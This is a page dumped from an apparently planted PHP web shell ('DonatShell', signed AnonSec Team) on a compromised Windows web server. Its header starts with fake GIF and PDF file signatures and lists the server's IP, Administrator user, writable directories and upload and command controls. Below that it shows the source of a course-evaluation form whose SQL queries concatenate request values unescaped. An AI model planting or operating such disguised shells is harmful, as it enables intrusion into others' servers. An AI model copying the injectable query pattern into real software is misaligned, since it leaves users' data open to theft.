GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/_Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/_Archive/ClassEvaluationEditForm.phpinc
<?
// ClassEvaluationEditForm.phpinc

debugTrackBegin();
setDebugOn();
if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","<b>".__FILE__."</b><br>\n"; }
$css = "wforms";
$js = "browser,div,form,EvaluationQuestions,textarea,wforms,EvaluationQuestionsMod";
$headTitle = '_CST_ - '.$f_courseNumber;
$pageTitle = '_CST_<br>'.$f_courseNumber;
include('common/pageHeader.phpinc');
?>
<script type="text/javascript">
debugOn = 1;
</script>
<?
//setDebugOn();
$sectionTitle = $f_courseNumber." ".$f_evaluationTitle." ".$f_evaluationType;
include('common/sectionHeader.phpinc');
// Get current questions.
$query = "
SELECT
  questionId,
  evaluationId,
  questionType,
  questionGroup,
  questionOrder,
  questionText,
  questionModifier,
  questionNote,
  questionNoteDisplay,
  questionInactive,
  lastModified,
  modifiedBy
FROM question
WHERE evaluationId = ".$f_evaluationId."
ORDER BY questionGroup,questionOrder
";
$questionResult = query_do($query);
$questionCount = $_SESSION['mysql_num_rows'];
$div = -129;
$qn = 0;
$divOrder = array();
$divVisible = array();
$f_qgc = 0;
$f_qoc = 0;
$questionNumber = 0;
if ($questionCount) {
	mysql_data_seek($questionResult, 0);
  while ($questionRow = mysql_fetch_assoc($questionResult)) {
		if ($questionRow['questionGroup'] != $div) {
			$div = $questionRow['questionGroup'];
			$divOrder[$div] = $div;
			if ($f_form != 'form_evaluationupdate_test' || formValue('divVisible'.$div) == 1) { $divVisible[$div] = ' checked="checked"'; } else { $divVisible[$div] = ""; }
		}
		if($questionRow['questionType'] != 'im' && $questionRow['questionType'] != 'co' && $questionRow['questionType'] != 'he' && $questionRow['questionType'] != 'in') { $questionNumber++; }
		if ($f_qgc < $questionRow['questionGroup']) { $f_qgc = $questionRow['questionGroup']; }
		$f_qoc = $questionRow['questionOrder'];
	}
}
?>
<style type="text/css">
.inln {
	display:inline;
}
div.none {
	display:none;
}
div.block {
	display:block;
}
div.line {
	margin-bottom:4px;
}
div.line label, div.linelabel {
	font-weight:bold;
	float: left;
	padding-right:2px;
	text-align:right;
	width:100px;
}
select {
	/*font-size:1.0em;*/
}
</style>
<form name="form_evaluationupdate_test" action="<?=php_self()?>" method="post" enctype="multipart/form-data">
<input name="f_uuid" type="hidden" value="<?=uuid()?>">
<input name="f_form" type="hidden" value="form_evaluationupdate_test">
<input name="f_classId" type="hidden" value="<?=$f_classId?>">
<input name="f_courseNumber" type="hidden" value="<?=$f_courseNumber?>">
<input name="f_courseId" type="hidden" value="<?=$f_courseId?>">
<input name="f_evaluationId" type="hidden" value="<?=$f_evaluationId?>">
<input name="f_task" type="hidden" value="Evaluation_test">
<input id="f_Question_QC" name="f_Question_QC" type="hidden" value="<?=$questionCount?>">
<input id="f_qgc" name="f_qgc" type="hidden" value="<?=$f_qgc?>">
<input id="f_qoc" name="f_qoc" type="hidden" value="<?=$f_qoc?>">

<fieldset id="wf_form_classevaluationsupdate"><legend>Class Evaluations</legend>
<div class="block instructions">Setup the <?=$f_evaluationType?> questions for <?=$f_evaluationTitle?> - <?=$f_evaluationDescription?>.</div>
<?
// Current questions.
?>
<div id="QuestionsCurrent" class="block">
<div class="block instructions">
Show question group:
<?
foreach ($divOrder as $div) {
?>
	<input type="checkbox" id="f_divVisible<?=$div?>" name="f_divVisible<?=$div?>" value="1" onclick="divHideShow('div<?=$div?>',this.checked);"<?=$divVisible[$div]?> /> <?=$div?> &nbsp;
<?
}
$div = -129;
?>
(<?=$questionNumber?> question<? if($questionNumber != 1) { ?>s<? } ?>)
</div>
<?
if ($questionCount) {
	mysql_data_seek($questionResult, 0);
  while ($questionRow = mysql_fetch_assoc($questionResult)) {
		if ($div != $questionRow['questionGroup']) {
			if ($div != -129) {
?>
				</div id="div><?=$div?>">
<?
			}
			$div = $questionRow['questionGroup'];
?>
			<div id="div<?=$div?>" class="none">
<?
		}
		$qn++;
		$selected = array('es','mt','ma','mc','sa','tf','up','ur','yn','im','co','he','in');
		foreach ($selected as $qt) {
		 if ($questionRow['questionType'] != $qt) { $selected[$qt] = ''; } else { $selected[$qt] = ' selected="selected"'; }
		}
		if ($qn > 1) { $suffix = '_'.$qn; } else { $suffix = ''; }
?>
	<input name="f_questionId<?=$suffix?>" type="hidden" value="<?=$questionRow['questionId']?>">
	<!-- Question type -->
	<div class="line">
		<label for="f_qt<?=$suffix?>">Type:</label>
		<select id="f_qt<?=$suffix?>" name="f_qt<?=$suffix?>" onchange="questionReset(this.name);">
			<option value="">-- Drop --</option>
			<option value="es"<?=$selected['es']?>>Essay</option>
			<option value="mt"<?=$selected['mt']?>>Matching</option>
			<option value="ma"<?=$selected['ma']?>>Multiple Answer</option>
			<option value="mc"<?=$selected['mc']?>>Multiple Choice</option>
			<option value="sa"<?=$selected['sa']?>>Short Answer</option>
			<option value="tf"<?=$selected['tf']?>>True/False</option>
			<option value="up"<?=$selected['up']?>>Upload</option>
			<option value="ur"<?=$selected['ur']?>>URL</option>
			<option value="yn"<?=$selected['yn']?>>Yes/No</option>
			<option value="im"<?=$selected['im']?>>Image</option>
			<option value="co"<?=$selected['co']?>>Comment</option>
			<option value="he"<?=$selected['he']?>>Heading</option>
			<option value="in"<?=$selected['in']?>>Instruction</option>
		</select>
	</div>
	<!-- Question group order -->
	<div class="line" id="f_goD<?=$suffix?>">
		<label for="f_qg<?=$suffix?>">Group|Order:</label>
		<input type="text" id="f_qg<?=$suffix?>" name="f_qg<?=$suffix?>" value="<?=$questionRow['questionGroup']?>" class="number2" maxsize="" /><input type="text" id="f_qo<?=$suffix?>" name="f_qo<?=$suffix?>" value="<?=$questionRow['questionOrder']?>" size="" class="inln number2" maxsize="" />
		<div id="f_esI<?=$suffix?>" class="inln normal"></div>
		<div id="f_mtI<?=$suffix?>" class="inln hidden">For Matching use the same Group to make a set.</div>
		<div id="f_maI<?=$suffix?>" class="inln normal"></div>
		<div id="f_mcI<?=$suffix?>" class="inln normal"></div>
		<div id="f_saI<?=$suffix?>" class="inln hidden">For Short Answer use a double underscore __ to signify where you want the answer field.</div>
		<div id="f_tfI<?=$suffix?>" class="inln normal"></div>
		<div id="f_upI<?=$suffix?>" class="inln normal"></div>
		<div id="f_urI<?=$suffix?>" class="inln normal"></div>
		<div id="f_ynI<?=$suffix?>" class="inln normal"></div>
		<div id="f_imI<?=$suffix?>" class="inln normal"></div>
		<div id="f_coI<?=$suffix?>" class="inln normal"></div>
		<div id="f_heI<?=$suffix?>" class="inln normal"></div>
		<div id="f_inI<?=$suffix?>" class="inln normal"></div>
	</div>
	<!-- Question -->
	<div class="line" id="f_qqD<?=$suffix?>">
		<label for="f_qq<?=$suffix?>">Question:</label>
		<!--<input type="text" id="f_qq<?=$suffix?>" name="f_qq<?=$suffix?>" value="<?=htmlView($questionRow['questionText'])?>" size="120" class="" />-->
		<textarea id="f_qq<?=$suffix?>" name="f_qq<?=$suffix?>" class="question" onKeyUp="adjustTextarea(this);"><?=htmlView($questionRow['questionText'])?></textarea>
	</div>
	<!-- Answers -->
<?
	// Get current answers.
	$query = "
	SELECT
		answerId,
		questionId,
		answerOrder,
		answerText,
		answerFile,
		answerValue,
		answerCorrect,
		answerNote,
		lastModified,
		modifiedBy
	FROM answer
	WHERE questionId = ".$questionRow['questionId']."
	ORDER BY answerId
	";
	$answerResult = query_do($query);
	$answerCount = $_SESSION['mysql_num_rows'];
	if ($answerCount) { $answerRow = mysql_fetch_assoc($answerResult); }
	$ANSWER_START = 1;
	$ANSWER_END = 6;
	$a = array();			// [1] mt, sa, up, ur - [1..6] ma, mc.
	$aC = array();
	for ($i=$ANSWER_START; $i<=$ANSWER_END; $i++) { $a($i) = ''; $aC($i) = ''; }
	$ars = '';  			// es, ma, mc, sa, co, he, in.
	$arsSelect = '';	// es, ma, mc, co, he, in
	$at = '';   			// es, co, he, and in.
	$af = '';   			// im, up.
	// Setup answers, checkbox, and radio.
	switch ($questionRow['questionType']) {
		case 'es':
		case 'co':
		case 'he':
		case 'in':
			$ars = $questionRow['questionModifier'];
			$arsSelect = "2,3,4,5,6,7,8,9,10";
			if ($answerCount) { $at = $answerRow['answerText']; }
			break;
		case 'mt':
		case 'sa':
		case 'ur':
			if ($answerCount) { $a[1] = $answerRow['answerText']; }
			break;
		case 'im':
		case 'up':
			if ($answerCount) { $af = $answerRow['answerText']; $a[1] = $answerRow['answerFile']; }
			
			break;
		case 'ma':
		case 'mc':
		case 'tf':
		case 'yn':
			$re = $questionRow['questionModifier'];
			$r = 0;
			if ($answerCount) {
				mysql_data_seek($answerResult, 0);
				while ($answerRow = mysql_fetch_assoc($answerResult)) {
					$r++;
					$a[$r] = $answerRow['answerText'];
					switch ($questionRow['questionType']) {
						case 'ma':
							if ($answerRow['answerCorrect'] == 1) { $aC[$r] = ' checked="checked"'; }
							break;
						case 'mc':
						case 'tf':
						case 'yn':
							if ($answerRow['answerCorrect'] == 1) { $aR[$r] = ' checked="checked"'; }
							break;
					}			
				}
			}
			$ars = $questionRow['questionModifier'];
			break;
		default:
			echo '<p class="bold">'.__FILE__.' <span class="error">Code for $f_task=['.$f_task.']</span>'.' <span class="error">$f_subtask=['.$f_subtask."] not finished.</p>\n"; setDebugOn(); include('common/pageFooter.phpinc');
	}
?>
	<div class="line" id="f_naD<?=$suffix?>">
		<label for="f_na<?=$suffix?>">Answers:</label>
		<select id="f_na<?=$suffix?>" name="f_na<?=$suffix?>" class="inln" onchange="setNumberOfAnswersFromSelect('f_',this);">
<?
		for ($r=2; $r<=6; $r++) {
?>					
			<option value="<?=$r?>"<?=$selectedAnswers[$r]?>><?=$r?></option>
<?
		}
?>					
		</select> <span class="normal">Select the number of possible answers for this question.</span>
	</div>
	<!-- Rows -->
	<div class="line" id="f_esrD<?=$suffix?>">
		<label for="f_esr<?=$suffix?>">Rows:</label>
		<select id="f_esr<?=$suffix?>" name="f_esr<?=$suffix?>" class="inln" onchange="textareaSetRowsFromSelect('f_a<?=$suffix?>',this);">
<?
		for ($r=2; $r<=10; $r++) {
?>					
			<option value="<?=$r?>"<?=$selectedRows[$r]?>><?=$r?></option>
<?
		}
?>					
		</select> <span class="normal">Select the height of the Essay question textbox in rows.</span>
	</div>
	<!-- Size -->
	<div class="line" id="f_sasD<?=$suffix?>">
		<label for="f_sas<?=$suffix?>">Size:</label>
		<select id="f_sas<?=$suffix?>" name="f_sas<?=$suffix?>" class="inln" onchange="textSetSizeFromSelect('f_a0<?=$suffix?>',this);">
<?
		for ($r=5; $r<=100; $r+=5) {
?>					
			<option value="<?=$r?>"<?=$selectedSize[$r]?>><?=$r?></option>
<?
		}
?>					
		</select> <span class="normal">Select the size of the short answer field in characters.</span>
	</div>
	<div class="line" id="f_a0D<?=$suffix?>">
		<label for="f_a0<?=$suffix?>"><div id="f_aLD<?=$suffix?>" class="linelabel">Answer:</div><div id="f_upLD<?=$suffix?>" class="linelabel">Upload filter:</div><div id="f_imLD<?=$suffix?>" class="linelabel">Image title:</div></label>
		<input type="text" id="f_a0<?=$suffix?>" name="f_a0<?=$suffix?>" value="<?=htmlView($at)?>" size="" class="inln" />
	</div>
	<div class="line" id="f_imD<?=$suffix?>">
		<label for="f_file<?=$suffix?>">Image file:</label><input type="file" id="f_file<?=$suffix?>" name="f_file<?=$suffix?>" class="inln" />
	</div>
<?
	for ($i=1; $i<=6; $i++) {
?>
	<div class="line" id="f_a<?=$i?>D<?=$suffix?>">
		<label for="f_a<?=$i?><?=$suffix?>">Answer <?=$i?>:</label>
		<input type="text" id="f_a<?=$i?><?=$suffix?>" name="f_a<?=$i?><?=$suffix?>" value="<?=htmlView($a[$i])?>" size="" class="inln" />
		<div id="f_caC<?=$i?>D<?=$suffix?>" class="inln"><input type="checkbox" id="f_caC<?=$i?><?=$suffix?>" name="f_caC<?=$i?><?=$suffix?>" value="1"<?=$aC[$i]?> /><span class="normal">check if correct.</span></div>
		<div id="f_caR<?=$i?>D<?=$suffix?>" class="inln"><input type="radio" id="f_caR<?=$suffix?>" name="f_caR<?=$suffix?>" value="<?=$i?>"<?=$aR[$i]?> /><span class="normal">select if correct.</span></div>
	</div>
<?
	}
?>
	<div class="line" id="f_aD<?=$suffix?>">
		<label for="f_a<?=$suffix?>"><div id="f_anLD<?=$suffix?>" class="linelabel">Answer:</div><div id="f_coLD<?=$suffix?>" class="linelabel">Comment:</div><div id="f_heLD<?=$suffix?>" class="linelabel">Heading:</div><div id="f_inLD<?=$suffix?>" class="linelabel">Instruction:</div></label>
		<textarea id="f_a<?=$suffix?>" name="f_a<?=$suffix?>" class="inln" rows="2" onKeyUp="adjustTextarea(this);"><?=htmlView($a[7])?></textarea>
	</div>
	<!-- Question notes -->
	<div class="line" id="f_qnD<?=$suffix?>">
		<label for="f_qn<?=$suffix?>">Notes:</label>
		<input type="text" id="f_qn<?=$suffix?>" name="f_qn<?=$suffix?>" value="<?=htmlView($questionRow['questionNote'])?>" size="" class="" />
	</div>
	<!-- END -->
	<br />
<?
	}
?>
				</div id="div><?=$div?>">
<?
}
?>
</div>
<?
// New questions.
?>
<div id="wf_Question" class="block repeat">
	<!-- Question type -->
	<div class="line">
		<label for="wf_qt">Type:</label>
		<select id="wf_qt" name="wf_qt" onchange="questionReset(this.name);">
			<option value="" selected="selected">-- select --</option>
			<option value="es">Essay</option>
			<option value="mt">Matching</option>
			<option value="ma">Multiple Answer</option>
			<option value="mc">Multiple Choice</option>
			<option value="sa">Short Answer</option>
			<option value="tf">True/False</option>
			<option value="up">Upload</option>
			<option value="ur">URL</option>
			<option value="yn">Yes/No</option>
			<option value="im">Image</option>
			<option value="co">Comment</option>
			<option value="he">Heading</option>
			<option value="in">Instruction</option>
		</select>
	</div>
	<!-- Question group order -->
	<div class="line" id="wf_goD">
		<label for="wf_qg">Group|Order:</label>
		<input type="text" id="wf_qg" name="wf_qg" value="" size="" class="number2" /><input type="text" id="wf_qo" name="wf_qo" value="" size="" class="inln number2" />
		<div id="wf_mtI" class="inln hidden">For Matching use the same Group to make a set.</div>
		<div id="wf_saI" class="inln hidden">For Short Answer use a double underscore (__) to signify where you want the answer field.</div>
	</div>
	<!-- Question -->
	<div class="line" id="wf_qD">
		<label for="wf_q">Question:</label>
		<!--<input type="text" id="wf_q" name="wf_q" value="" size="120" class="" />-->
		<textarea id="wf_q" name="wf_q" class="question" onKeyUp="adjustTextarea(this);"></textarea>
	</div>
	<!-- Answers -->
	<div class="line" id="wf_naD">
		<label for="wf_na">Answers:</label>
		<select id="wf_na" name="wf_na" class="inln" onchange="setNumberOfAnswersFromSelect('wf_',this);">
<?
		for ($r=2; $r<=4; $r++) {
?>					
			<option value="<?=$r?>"><?=$r?></option>
<?
		}
?>					
			<option value="5" selected="selected">5</option>
<?
		for ($r=6; $r<=6; $r++) {
?>					
			<option value="<?=$r?>"><?=$r?></option>
<?
		}
?>					
		</select> <span class="normal">Select the number of possible answers for this question.</span>
	</div>
	<!-- Rows -->
	<div class="line" id="wf_esrD">
		<label for="wf_esr">Rows:</label>
		<select id="wf_esr" name="wf_esr" class="inln" onchange="textareaSetRowsFromSelect('wf_a',this);">
<?
		for ($r=2; $r<=4; $r++) {
?>					
			<option value="<?=$r?>"><?=$r?></option>
<?
		}
?>					
			<option value="5" selected="selected">5</option>
<?
		for ($r=6; $r<=10; $r++) {
?>					
			<option value="<?=$r?>"><?=$r?></option>
<?
		}
?>					
		</select> <span class="normal">Select the height of the Essay question textbox in rows.</span>
	</div>
	<!-- Size -->
	<div class="line" id="wf_sasD">
		<label for="wf_sas">Size:</label>
		<select id="wf_sas" name="wf_sas" class="inln" onchange="textSetSizeFromSelect('wf_a0',this);">
<?
		for ($r=5; $r<=10; $r+=5) {
?>					
			<option value="<?=$r?>"><?=$r?></option>
<?
		}
?>					
			<option value="15" selected="selected">15</option>
<?
		for ($r=20; $r<=100; $r+=5) {
?>					
			<option value="<?=$r?>"><?=$r?></option>
<?
		}
?>					
		</select> <span class="normal">Select the size of the short answer field in characters.</span>
	</div>
	<div class="line" id="wf_a0D">
		<label for="wf_a0"><div id="wf_aLD" class="linelabel">Answer:</div><div id="wf_upLD" class="linelabel">Upload filter:</div><div id="wf_imLD" class="linelabel">Image title:</div></label>
		<input type="text" id="wf_a0" name="wf_a0" value="" size="" class="inln" />
	</div>
	<div class="line" id="wf_imD">
		<label for="wf_file">Image file:</label><input type="file" id="wf_file" name="wf_file" class="inln" />
	</div>
<?
	for ($i=1; $i<=6; $i++) {
?>
	<div class="line" id="wf_a<?=$i?>D">
		<label for="wf_a<?=$i?>">Answer <?=$i?>:</label>
		<input type="text" id="wf_a<?=$i?>" name="wf_a<?=$i?>" value="" size="" class="inln" />
		<div id="wf_caC<?=$i?>D" class="inln"><input type="checkbox" id="wf_caC<?=$i?>" name="wf_caC<?=$i?>" value="1" /><span class="normal">check if correct.</span></div>
		<div id="wf_caR<?=$i?>D" class="inln"><input type="radio" id="wf_caR" name="wf_caR" value="<?=$i?>" /><span class="normal">select if correct.</span></div>
	</div>
<?
	}
?>
	<div class="line" id="wf_aD">
		<label for="wf_a"><div id="wf_anLD" class="linelabel">Answer:</div><div id="wf_coLD" class="linelabel">Comment:</div><div id="wf_heLD" class="linelabel">Heading:</div><div id="wf_inLD" class="linelabel">Instruction:</div></label>
		<textarea id="wf_a" name="wf_a" class="inln" rows="2" onKeyUp="adjustTextarea(this);"></textarea>
	</div>
</div>
</fieldset>

<div class="actions">
<input type="submit" class="primaryAction" id="f_subtask" name="f_subtask" value="Update">
<?
if ($f_form != "form_evaluationupdate_test") {
?>
<input type="submit" class="secondaryAction" id="f_subtask" name="f_subtask" value="Cancel">
<?
} else {
?>
<input type="submit" class="secondaryAction" id="f_subtask" name="f_subtask" value="Done">
<?
}
?>
</div>
</form>
<script type="text/javascript">
<?
if ($questionCount) {
	mysql_data_seek($questionResult, 0);
	$qn = 0;
	while ($questionRow = mysql_fetch_assoc($questionResult)) {
		$qn++;
		if ($qn > 1) { $suffix = '_'.$qn; } else { $suffix = ''; }
?>
		questionSetup('f_qt<?=$suffix?>');
<?
	}
	foreach($divOrder as $div) {
		if ($divVisible[$div] != '') {
?>
		divShow('div<?=$div?>');
<?
		}
	}
}
?>
	questionHide('wf_','');
	document.form_evaluationupdate_test.reset();
	//resizeTextareas(80, 120);
	adjustTextareas();
</script>
<?
include('common/sectionFooter.phpinc');
debugTrackEnd();
//setDebugOn();
include('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team